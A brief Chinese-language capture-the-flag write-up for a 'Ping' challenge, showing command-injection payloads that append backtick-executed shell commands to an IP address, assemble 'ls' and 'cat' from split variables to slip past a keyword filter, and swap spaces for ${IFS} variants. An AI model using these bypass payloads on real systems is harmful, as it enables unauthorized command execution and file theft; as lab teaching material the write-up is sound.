ctf-ping命令執行繞過


題目連接:http://ctf.klmyssn.com/challenges#Ping

 

命令執行繞過,試了試過濾了一些:一些命令

但是反引號可以執行命令

技術圖片

 

通過拼接,可以拼接出來:ls 命令

127.0.0.1;`a="l";b="s";c=$a$b;$c`

 

技術圖片

 

可以發現 flag 就是下面那一串 flag_ 開頭的字符串

 

在拼接命令來查看:

127.0.0.1;`a="ca";b="t${IFS}fla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`

針對空格過濾,可以使用:

${IFS}

<  (也被過濾了)

$IFS

$IFS$9

來代替,但是考慮到在一串字符串中,所以使用 ${IFS} 來代替空格

技術圖片

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM